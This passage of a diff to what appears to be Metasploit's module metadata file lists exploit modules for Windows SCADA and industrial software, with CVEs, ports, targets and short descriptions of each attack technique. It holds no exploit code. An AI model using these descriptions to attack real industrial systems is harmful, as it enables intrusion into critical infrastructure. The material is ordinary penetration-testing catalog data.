"URL-https://github.com/countercept/doublepulsar-detection-script" ], "platform": "Windows", "arch": "x64", "rport": 3389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Execute payload (x64)", "Neutralize implant" ], - "mod_time": "2023-09-15 16:42:03 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb", "is_install_path": true, "ref_name": "windows/rdp/rdp_doublepulsar_rce", @@ -191749,9 +197041,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -191759,9 +197049,7 @@ "exploit_windows/sage/x3_adxsrv_auth_bypass_cmd_exec": { "name": "Sage X3 Administration Service Authentication Bypass Command Execution", "fullname": "exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2021-07-07", "type": "exploit", @@ -191778,12 +197066,8 @@ "platform": "Windows", "arch": "cmd, x86, x64", "rport": 1818, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Command", "Windows DLL", @@ -191814,9 +197098,7 @@ "exploit_windows/scada/abb_wserver_exec": { "name": "ABB MicroSCADA wserver.exe Remote Code Execution", "fullname": "exploit/windows/scada/abb_wserver_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-05", "type": "exploit", @@ -191824,7 +197106,7 @@ "Brian Gorenc", "juan vazquez " ], - "description": "This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The\n issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe\n component, which allows arbitrary commands. The component is disabled by default, but\n required when a project uses the SCIL function WORKSTATION_CALL.\n\n This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on\n Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The\n issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe\n component, which allows arbitrary commands. The component is disabled by default, but\n required when a project uses the SCIL function WORKSTATION_CALL.\n\n This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 on\n Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2019-5620", "OSVDB-100324", @@ -191834,16 +197116,12 @@ "platform": "Windows", "arch": "x86", "rport": 12221, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ABB MicroSCADA Pro SYS600 9.3" ], - "mod_time": "2021-03-17 15:58:21 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/abb_wserver_exec.rb", "is_install_path": true, "ref_name": "windows/scada/abb_wserver_exec", @@ -191851,6 +197129,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191858,9 +197145,7 @@ "exploit_windows/scada/advantech_webaccess_dashboard_file_upload": { "name": "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload", "fullname": "exploit/windows/scada/advantech_webaccess_dashboard_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-05", "type": "exploit", @@ -191869,7 +197154,7 @@ "Zhou Yu <504137480@qq.com>", "sinn3r " ], - "description": "This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.\n\n This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations\n of Advantech WebAccess. Authentication is not required to exploit this vulnerability.\n\n The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within\n the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to\n upload arbitrary code (instead of an image) to the server, which will then be executed under the\n high-privilege context of the IIS AppPool.", + "description": "This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.\n\n This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations\n of Advantech WebAccess. Authentication is not required to exploit this vulnerability.\n\n The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within\n the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to\n upload arbitrary code (instead of an image) to the server, which will then be executed under the\n high-privilege context of the IIS AppPool.", "references": [ "CVE-2016-0854", "ZDI-16-128", @@ -191896,7 +197181,7 @@ "targets": [ "Advantech WebAccess 8.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb", "is_install_path": true, "ref_name": "windows/scada/advantech_webaccess_dashboard_file_upload", @@ -191904,6 +197189,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -191911,9 +197205,7 @@ "exploit_windows/scada/advantech_webaccess_webvrpcs_bof": { "name": "Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow", "fullname": "exploit/windows/scada/advantech_webaccess_webvrpcs_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-11-02", "type": "exploit", @@ -191929,16 +197221,12 @@ "platform": "Windows", "arch": "", "rport": 4592, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb", "is_install_path": true, "ref_name": "windows/scada/advantech_webaccess_webvrpcs_bof", @@ -191946,6 +197234,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -191953,9 +197250,7 @@ "exploit_windows/scada/citect_scada_odbc": { "name": "CitectSCADA/CitectFacilities ODBC Buffer Overflow", "fullname": "exploit/windows/scada/citect_scada_odbc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-06-11", "type": "exploit", @@ -191963,7 +197258,7 @@ "KF ", "aushack " ], - "description": "This module exploits a stack buffer overflow in CitectSCADA's ODBC daemon.\n This has only been tested against Citect v5, v6 and v7.", + "description": "This module exploits a stack buffer overflow in CitectSCADA's ODBC daemon.\n This has only been tested against Citect v5, v6 and v7.", "references": [ "CVE-2008-2639", "BID-29634", @@ -191975,12 +197270,8 @@ "platform": "Windows", "arch": "", "rport": 20222, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Citect32.exe v5.21 NT4", @@ -191998,7 +197289,7 @@ "CiExceptionMailer.dll v5.50-r0 2003 Server", "Debug" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/citect_scada_odbc.rb", "is_install_path": true, "ref_name": "windows/scada/citect_scada_odbc", @@ -192006,6 +197297,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192013,16 +197313,14 @@ "exploit_windows/scada/codesys_gateway_server_traversal": { "name": "SCADA 3S CoDeSys Gateway Server Directory Traversal", "fullname": "exploit/windows/scada/codesys_gateway_server_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-02-02", "type": "exploit", "author": [ "Enrique Sanchez " ], - "description": "This module exploits a directory traversal vulnerability that allows arbitrary\n file creation, which can be used to execute a mof file in order to gain remote\n execution within the SCADA system.", + "description": "This module exploits a directory traversal vulnerability that allows arbitrary\n file creation, which can be used to execute a mof file in order to gain remote\n execution within the SCADA system.", "references": [ "CVE-2012-4705", "OSVDB-90368", @@ -192031,16 +197329,12 @@ "platform": "Windows", "arch": "", "rport": 1211, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal S3 CoDeSyS < 2.3.9.27" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb", "is_install_path": true, "ref_name": "windows/scada/codesys_gateway_server_traversal", @@ -192051,12 +197345,8 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": true @@ -192064,9 +197354,7 @@ "exploit_windows/scada/codesys_web_server": { "name": "SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow", "fullname": "exploit/windows/scada/codesys_web_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-12-02", "type": "exploit", @@ -192077,7 +197365,7 @@ "sinn3r ", "Michael Coppola" ], - "description": "This module exploits a remote stack buffer overflow vulnerability in\n 3S-Smart Software Solutions product CoDeSys Scada Web Server Version\n 1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and\n earlier.", + "description": "This module exploits a remote stack buffer overflow vulnerability in\n 3S-Smart Software Solutions product CoDeSys Scada Web Server Version\n 1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and\n earlier.", "references": [ "CVE-2011-5007", "OSVDB-77387", @@ -192089,18 +197377,14 @@ "platform": "Windows", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "CoDeSys v2.3 on Windows XP SP3", "CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/codesys_web_server.rb", "is_install_path": true, "ref_name": "windows/scada/codesys_web_server", @@ -192108,6 +197392,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192115,9 +197408,7 @@ "exploit_windows/scada/daq_factory_bof": { "name": "DaqFactory HMI NETB Request Overflow", "fullname": "exploit/windows/scada/daq_factory_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-09-13", "type": "exploit", @@ -192125,7 +197416,7 @@ "Luigi Auriemma", "mr_me " ], - "description": "This module exploits a stack buffer overflow in Azeotech's DaqFactory\n product. The specific vulnerability is triggered when sending a specially crafted\n 'NETB' request to port 20034. Exploitation of this vulnerability may take a few\n seconds due to the use of egghunter. This vulnerability was one of the 14\n releases discovered by researcher Luigi Auriemma.", + "description": "This module exploits a stack buffer overflow in Azeotech's DaqFactory\n product. The specific vulnerability is triggered when sending a specially crafted\n 'NETB' request to port 20034. Exploitation of this vulnerability may take a few\n seconds due to the use of egghunter. This vulnerability was one of the 14\n releases discovered by researcher Luigi Auriemma.", "references": [ "CVE-2011-3492", "OSVDB-75496", @@ -192135,16 +197426,12 @@ "platform": "Windows", "arch": "", "rport": 20034, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DAQFactory Pro 5.85 Build 1853 on Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/daq_factory_bof.rb", "is_install_path": true, "ref_name": "windows/scada/daq_factory_bof", @@ -192152,6 +197439,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192159,9 +197455,7 @@ "exploit_windows/scada/delta_ia_commgr_bof": { "name": "Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow", "fullname": "exploit/windows/scada/delta_ia_commgr_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-07-02", "type": "exploit", @@ -192170,7 +197464,7 @@ "t4rkd3vilz", "hubertwslin" ], - "description": "This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial\n Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially\n crafted packets. This module has been tested successfully on Delta Electronics Delta\n Industrial Automation COMMGR 1.08 over\n Windows XP SP3,\n Windows 7 SP1, and\n Windows 8.1.", + "description": "This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial\n Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially\n crafted packets. This module has been tested successfully on Delta Electronics Delta\n Industrial Automation COMMGR 1.08 over\n Windows XP SP3,\n Windows 7 SP1, and\n Windows 8.1.", "references": [ "CVE-2018-10594", "BID-104529", @@ -192182,16 +197476,12 @@ "platform": "Windows", "arch": "", "rport": 502, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "COMMGR 1.08 / Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/delta_ia_commgr_bof.rb", "is_install_path": true, "ref_name": "windows/scada/delta_ia_commgr_bof", @@ -192199,6 +197489,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192206,9 +197505,7 @@ "exploit_windows/scada/diaenergie_sqli": { "name": "DIAEnergie SQL Injection (CVE-2024-4548)", "fullname": "exploit/windows/scada/diaenergie_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-05-06", "type": "exploit", @@ -192224,12 +197521,8 @@ "platform": "Windows", "arch": "cmd", "rport": 928, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows_Fetch" ], @@ -192257,9 +197550,7 @@ "exploit_windows/scada/factorylink_csservice": { "name": "Siemens FactoryLink 8 CSService Logging Path Param Buffer Overflow", "fullname": "exploit/windows/scada/factorylink_csservice", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-25", "type": "exploit", @@ -192267,7 +197558,7 @@ "Luigi Auriemma ", "sinn3r " ], - "description": "This module exploits a vulnerability found on Siemens FactoryLink 8. The\n vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,\n the user-supplied path first gets converted to ANSI format (CodePage 0), and then\n gets handled by a logging routine where proper bounds checking is not done,\n therefore causing a stack-based buffer overflow, and results arbitrary code execution.", + "description": "This module exploits a vulnerability found on Siemens FactoryLink 8. The\n vulnerability occurs when CSService.exe processes a CSMSG_ListFiles_REQ message,\n the user-supplied path first gets converted to ANSI format (CodePage 0), and then\n gets handled by a logging routine where proper bounds checking is not done,\n therefore causing a stack-based buffer overflow, and results arbitrary code execution.", "references": [ "OSVDB-72812", "URL-http://aluigi.altervista.org/adv/factorylink_1-adv.txt", @@ -192276,18 +197567,14 @@ "platform": "Windows", "arch": "", "rport": 7580, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", "Windows Server 2003 SP0" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/factorylink_csservice.rb", "is_install_path": true, "ref_name": "windows/scada/factorylink_csservice", @@ -192295,6 +197582,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192302,9 +197598,7 @@ "exploit_windows/scada/factorylink_vrn_09": { "name": "Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow", "fullname": "exploit/windows/scada/factorylink_vrn_09", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192313,7 +197607,7 @@ "hal", "MC " ], - "description": "This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,\n and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to\n execute arbitrary code due to the improper use of a vsprintf() function while\n processing the user-supplied text field. Originally found and posted by\n Luigi Auriemma.", + "description": "This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,\n and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to\n execute arbitrary code due to the improper use of a vsprintf() function while\n processing the user-supplied text field. Originally found and posted by\n Luigi Auriemma.", "references": [ "OSVDB-72815", "URL-http://aluigi.altervista.org/adv/factorylink_4-adv.txt", @@ -192322,19 +197616,15 @@ "platform": "Windows", "arch": "", "rport": 7579, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "FactoryLink 7.5", "FactoryLink 7.5 SP2", "FactoryLink 8.0.1.703" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/factorylink_vrn_09.rb", "is_install_path": true, "ref_name": "windows/scada/factorylink_vrn_09", @@ -192342,6 +197632,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192349,9 +197648,7 @@ "exploit_windows/scada/ge_proficy_cimplicity_gefebt": { "name": "GE Proficy CIMPLICITY gefebt.exe Remote Code Execution", "fullname": "exploit/windows/scada/ge_proficy_cimplicity_gefebt", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-01-23", "type": "exploit", @@ -192387,24 +197684,21 @@ "targets": [ "GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)" ], - "mod_time": "2017-09-13 22:03:34 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb", "is_install_path": true, "ref_name": "windows/scada/ge_proficy_cimplicity_gefebt", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/scada/iconics_genbroker": { "name": "Iconics GENESIS32 Integer Overflow Version 9.21.201.01", "fullname": "exploit/windows/scada/iconics_genbroker", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192413,7 +197707,7 @@ "Lincoln", "corelanc0d3r " ], - "description": "The GenBroker service on port 38080 is affected by three integer overflow\n vulnerabilities while handling opcode 0x4b0, which is caused by abusing the\n the memory allocations needed for the number of elements passed by the client.\n This results unexpected behaviors such as direct registry calls, memory location\n calls, or arbitrary remote code execution. Please note that in order to ensure\n reliability, this exploit will try to open calc (hidden), inject itself into the\n process, and then open up a shell session. Also, DEP bypass is supported.", + "description": "The GenBroker service on port 38080 is affected by three integer overflow\n vulnerabilities while handling opcode 0x4b0, which is caused by abusing the\n the memory allocations needed for the number of elements passed by the client.\n This results unexpected behaviors such as direct registry calls, memory location\n calls, or arbitrary remote code execution. Please note that in order to ensure\n reliability, this exploit will try to open calc (hidden), inject itself into the\n process, and then open up a shell session. Also, DEP bypass is supported.", "references": [ "OSVDB-72817", "URL-http://aluigi.org/adv/genesis_4-adv.txt", @@ -192422,16 +197716,12 @@ "platform": "Windows", "arch": "", "rport": 38080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/iconics_genbroker.rb", "is_install_path": true, "ref_name": "windows/scada/iconics_genbroker", @@ -192439,6 +197729,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192446,9 +197745,7 @@ "exploit_windows/scada/iconics_webhmi_setactivexguid": { "name": "ICONICS WebHMI ActiveX Buffer Overflow", "fullname": "exploit/windows/scada/iconics_webhmi_setactivexguid", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-05", "type": "exploit", @@ -192457,7 +197754,7 @@ "Blair Strang ", "sinn3r " ], - "description": "This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.\n By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll\n fails to do any proper bounds checking before this input is copied onto the stack,\n which causes a buffer overflow, and results arbitrary code execution under the context\n of the user.", + "description": "This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.\n By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll\n fails to do any proper bounds checking before this input is copied onto the stack,\n which causes a buffer overflow, and results arbitrary code execution under the context\n of the user.", "references": [ "CVE-2011-2089", "OSVDB-72135", @@ -192468,18 +197765,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6/7/8 on Windows XP SP3", "IE 7 on Windows Vista" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb", "is_install_path": true, "ref_name": "windows/scada/iconics_webhmi_setactivexguid", @@ -192487,6 +197780,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192494,9 +197796,7 @@ "exploit_windows/scada/igss9_igssdataserver_listall": { "name": "7-Technologies IGSS IGSSdataServer.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/igss9_igssdataserver_listall", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192506,7 +197806,7 @@ "corelanc0d3r ", "sinn3r " ], - "description": "This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies\n IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application\n fails to do proper bounds checking before copying data into a small buffer on the stack.\n This causes a buffer overflow and allows to overwrite a structured exception handling record\n on the stack, allowing for unauthenticated remote code execution. Also, after the payload\n exits, IGSSdataServer.exe should automatically recover.", + "description": "This module exploits a vulnerability in the igssdataserver.exe component of 7-Technologies\n IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application\n fails to do proper bounds checking before copying data into a small buffer on the stack.\n This causes a buffer overflow and allows to overwrite a structured exception handling record\n on the stack, allowing for unauthenticated remote code execution. Also, after the payload\n exits, IGSSdataServer.exe should automatically recover.", "references": [ "CVE-2011-1567", "OSVDB-72353", @@ -192516,16 +197816,12 @@ "platform": "Windows", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3/2003 Server R2 SP2 (DEP Bypass)" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb", "is_install_path": true, "ref_name": "windows/scada/igss9_igssdataserver_listall", @@ -192533,6 +197829,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192540,9 +197845,7 @@ "exploit_windows/scada/igss9_igssdataserver_rename": { "name": "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow", "fullname": "exploit/windows/scada/igss9_igssdataserver_rename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192550,7 +197853,7 @@ "Luigi Auriemma ", "sinn3r " ], - "description": "This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying\n a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,\n a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,\n which results arbitrary code execution under the context of the user.\n\n The attack is carried out in three stages. The first stage sends the final payload to\n IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command\n so the process can find a valid ID for the Rename command. The last stage then triggers\n the vulnerability with the Rename command, and uses an egghunter to search for the\n shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to\n the small buffer size, which cannot even contain our ROP chain and the final payload.", + "description": "This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying\n a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,\n a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,\n which results arbitrary code execution under the context of the user.\n\n The attack is carried out in three stages. The first stage sends the final payload to\n IGSSdataServer.exe, which will remain in memory. The second stage sends the Add command\n so the process can find a valid ID for the Rename command. The last stage then triggers\n the vulnerability with the Rename command, and uses an egghunter to search for the\n shellcode that we sent in stage 1. The use of egghunter appears to be necessary due to\n the small buffer size, which cannot even contain our ROP chain and the final payload.", "references": [ "CVE-2011-1567", "OSVDB-72352", @@ -192560,18 +197863,14 @@ "platform": "Windows", "arch": "", "rport": 12401, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", "Windows Server 2003 SP2/R2 SP2" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb", "is_install_path": true, "ref_name": "windows/scada/igss9_igssdataserver_rename", @@ -192579,6 +197878,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192586,9 +197894,7 @@ "exploit_windows/scada/igss9_misc": { "name": "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities", "fullname": "exploit/windows/scada/igss9_misc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-24", "type": "exploit", @@ -192596,7 +197902,7 @@ "Luigi Auriemma", "sinn3r " ], - "description": "This module exploits multiple vulnerabilities found on IGSS 9's Data Server and\n Data Collector services. The initial approach is first by transferring our binary\n with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send\n an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run\n that payload with a CreateProcessA() function as a new thread.", + "description": "This module exploits multiple vulnerabilities found on IGSS 9's Data Server and\n Data Collector services. The initial approach is first by transferring our binary\n with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send\n an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run\n that payload with a CreateProcessA() function as a new thread.", "references": [ "CVE-2011-1565", "CVE-2011-1566", @@ -192609,19 +197915,15 @@ "platform": "Windows", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP", "Windows 7", "Windows Server 2003 / R2" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/igss9_misc.rb", "is_install_path": true, "ref_name": "windows/scada/igss9_misc", @@ -192629,6 +197931,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192636,9 +197947,7 @@ "exploit_windows/scada/igss_exec_17": { "name": "Interactive Graphical SCADA System Remote Command Injection", "fullname": "exploit/windows/scada/igss_exec_17", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192646,7 +197955,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module abuses a directory traversal flaw in Interactive\n Graphical SCADA System v9.00. In conjunction with the traversal\n flaw, if opcode 0x17 is sent to the dc.exe process, an attacker\n may be able to execute arbitrary system commands.", + "description": "This module abuses a directory traversal flaw in Interactive\n Graphical SCADA System v9.00. In conjunction with the traversal\n flaw, if opcode 0x17 is sent to the dc.exe process, an attacker\n may be able to execute arbitrary system commands.", "references": [ "CVE-2011-1566", "OSVDB-72349", @@ -192655,16 +197964,12 @@ "platform": "Windows", "arch": "cmd", "rport": 12397, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": 